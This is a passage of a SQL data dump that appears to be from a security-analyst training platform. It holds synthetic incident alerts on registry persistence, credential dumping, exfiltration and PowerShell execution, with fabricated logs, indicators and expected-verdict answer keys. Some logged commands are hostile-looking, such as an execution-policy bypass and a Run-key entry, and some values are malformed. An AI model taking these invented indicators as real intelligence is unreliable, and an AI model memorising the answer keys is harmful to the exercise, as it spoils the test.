payload.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Quarterly_Report_Q3_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Filename used in multiple phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1068, 'Persistence Achieved Through Registry Modification', 'high', 'Registry audit logs', 'APT1 has modified registry settings to ensure their malware persists through system reboots. This action was detected based on unusual registry key changes associated with persistence techniques.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T13:45:00Z\",\"event_id\":4657,\"computer_name\":\"compromised-host.local\",\"user\":\"malicious_user\",\"registry_key_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\",\"registry_key_value\":\"MaliciousProgram\",\"registry_key_data\":\"C:\\\\Users\\\\malicious_user\\\\AppData\\\\Local\\\\Temp\\\\malware.exe\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.105\",\"hash\":\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\",\"user_sid\":\"S-1-5-21-3141592653-589793238-462643383\"}', '2026-01-24 03:35:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT1 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT1 malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User involved in unauthorized registry modifications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.770Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:00Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key_value\\\":\\\"MaliciousProgram\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\malicious_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\malware.exe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"hash\\\":\\\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\\\",\\\"user_sid\\\":\\\"S-1-5-21-3141592653-589793238-462643383\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.770Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:00Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key_value\\\":\\\"MaliciousProgram\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\malicious_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\malware.exe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"hash\\\":\\\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\\\",\\\"user_sid\\\":\\\"S-1-5-21-3141592653-589793238-462643383\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.770Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:00Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key_value\\\":\\\"MaliciousProgram\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\malicious_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\malware.exe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"hash\\\":\\\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\\\",\\\"user_sid\\\":\\\"S-1-5-21-3141592653-589793238-462643383\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.770Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:00Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key_value\\\":\\\"MaliciousProgram\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\malicious_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\malware.exe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"hash\\\":\\\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\\\",\\\"user_sid\\\":\\\"S-1-5-21-3141592653-589793238-462643383\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.770Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:00Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key_value\\\":\\\"MaliciousProgram\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\malicious_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\malware.exe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"hash\\\":\\\"3a7bd3b6f9c3c5e2d2c8f5b6a7c9e1f2\\\",\\\"user_sid\\\":\\\"S-1-5-21-3141592653-589793238-462643383\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1069, 'Credential Dumping Detected in Lateral Movement', 'high', 'Network traffic analysis', 'APT1 uses harvested credentials to move laterally within the network, searching for systems containing valuable data. Network traffic analysis detected unusual authentication patterns involving known malicious IP addresses and suspicious file transfers.', 'Lateral Movement', 'T1003.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.23\",\"action\":\"credential_dumping\",\"user\":\"jdoe\",\"process\":{\"name\":\"lsass.exe\",\"hash\":\"3f6a9d8ec3a7b8e7f5c6d4b9a1e2f3f4\"},\"file\":{\"name\":\"creddump.exe\",\"path\":\"C:\\\\Temp\\\\creddump.exe\"},\"indicators\":{\"malicious_ip\":\"203.0.113.45\",\"malicious_hash\":\"3f6a9d8ec3a7b8e7f5c6d4b9a1e2f3f4\"}}', '2026-01-24 03:35:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT1 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f6a9d8ec3a7b8e7f5c6d4b9a1e2f3f4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious hash associated with credential dumping tools.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"creddump.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Detection\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file used for dumping credentials.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised user account involved in the activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1070, 'Data Exfiltration via Encrypted Channels', 'high', 'Outbound network traffic logs', 'In the final phase of their operation, APT1 successfully exfiltrated sensitive intellectual property using encrypted channels to avoid detection. The malicious traffic was identified originating from an internal host and directed towards a known malicious IP address.', 'Exfiltration', 'T1048.003 - Exfiltration Over Unencrypted/Encrypted Non-C2 Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-19T23:45:00Z\",\"src_ip\":\"192.168.15.42\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TLS\",\"port\":443,\"bytes_sent\":5242880,\"user\":\"jdoe\",\"file_hash\":\"fa6a1c1d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x3y4z5\",\"filename\":\"Q3ResearchResults.pdf\",\"action\":\"allowed\",\"encrypted\":true}', '2026-01-24 03:35:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT1 operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"fa6a1c1d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x3y4z5\",\"is_critical\":false,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"suspicious\",\"details\":\"File hash related to potentially sensitive data.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Q3ResearchResults.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_documentation\",\"verdict\":\"clean\",\"details\":\"Internal document containing sensitive research data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"User with access to sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1071, 'Unusual Network Traffic Detected', 'medium', 'Network Intrusion Detection System (NIDS)', 'Initial signs of compromise detected as malware attempts to establish a connection with the GSM infrastructure. The traffic pattern suggests an attempt to gain a foothold in the GSM base station network.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:23:45Z\",\"source_ip\":\"45.77.123.88\",\"destination_ip\":\"10.0.5.23\",\"alert\":\"Unusual connection attempt to internal GSM network\",\"detected_protocol\":\"TCP\",\"detected_port\":8080,\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"gsm_operator\",\"file_name\":\"gsm_connect.exe\",\"session_id\":\"abc123def456\",\"additional_info\":{\"geo_location\":\"Outside Corporate HQ\",\"previous_connection\":false}}', '2026-01-24 03:35:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.77.123.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal GSM base station.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware targeting GSM networks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"gsm_operator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid username within the organization.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"gsm_connect.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with malicious activity targeting GSM infrastructure.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1072, 'Suspicious File Execution', 'high', 'Endpoint Detection and Response (EDR)', 'The malware begins executing its components, signaling the start of its multi-stage architecture. A suspicious executable was detected running on the system, which matches known malicious behavior patterns.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T11:35:27Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-8G1F2KS\",\"user\":\"john.doe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.50\",\"file_name\":\"malicious_script.ps1\"}', '2026-01-24 03:35:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is associated with known malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address is listed as part of a C2 network.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"malicious\",\"details\":\"Filename matches known threat indicator.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1073, 'Encrypted File System Detected', 'high', 'File Integrity Monitoring (FIM)', 'An encrypted virtual file system was uncovered on the host machine, indicating potential advanced persistence mechanisms deployed by malware. The presence of this encrypted file system suggests attempts to maintain a stealthy presence and evade detection.', 'Persistence', 'T1027 - Obfuscated Files or Information', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"FIM-20231015-023\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"filename\":\"enc_vol.dd\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_type\":\"file_creation\",\"filepath\":\"/mnt/vfs/enc_vol.dd\",\"action\":\"created\",\"description\":\"An encrypted volume was detected and created on the host system.\",\"additional_info\":{\"file_size\":\"256MB\",\"encryption\":\"AES-256\"}}', '2026-01-24 03:35:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash not commonly associated, potential zero-day.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"enc_vol.dd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Encrypted volume used for persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.776Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"FIM-20231015-023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"enc_vol.dd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"filepath\\\":\\\"/mnt/vfs/enc_vol.dd\\\",\\\"action\\\":\\\"created\\\",\\\"description\\\":\\\"An encrypted volume was detected and created on the host system.\\\",\\\"additional_info\\\":{\\\"file_size\\\":\\\"256MB\\\",\\\"encryption\\\":\\\"AES-256\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.776Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"FIM-20231015-023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"enc_vol.dd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"filepath\\\":\\\"/mnt/vfs/enc_vol.dd\\\",\\\"action\\\":\\\"created\\\",\\\"description\\\":\\\"An encrypted volume was detected and created on the host system.\\\",\\\"additional_info\\\":{\\\"file_size\\\":\\\"256MB\\\",\\\"encryption\\\":\\\"AES-256\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.776Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"FIM-20231015-023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"enc_vol.dd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"filepath\\\":\\\"/mnt/vfs/enc_vol.dd\\\",\\\"action\\\":\\\"created\\\",\\\"description\\\":\\\"An encrypted volume was detected and created on the host system.\\\",\\\"additional_info\\\":{\\\"file_size\\\":\\\"256MB\\\",\\\"encryption\\\":\\\"AES-256\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.776Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"FIM-20231015-023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"enc_vol.dd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"filepath\\\":\\\"/mnt/vfs/enc_vol.dd\\\",\\\"action\\\":\\\"created\\\",\\\"description\\\":\\\"An encrypted volume was detected and created on the host system.\\\",\\\"additional_info\\\":{\\\"file_size\\\":\\\"256MB\\\",\\\"encryption\\\":\\\"AES-256\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.776Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"FIM-20231015-023\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"enc_vol.dd\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"filepath\\\":\\\"/mnt/vfs/enc_vol.dd\\\",\\\"action\\\":\\\"created\\\",\\\"description\\\":\\\"An encrypted volume was detected and created on the host system.\\\",\\\"additional_info\\\":{\\\"file_size\\\":\\\"256MB\\\",\\\"encryption\\\":\\\"AES-256\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
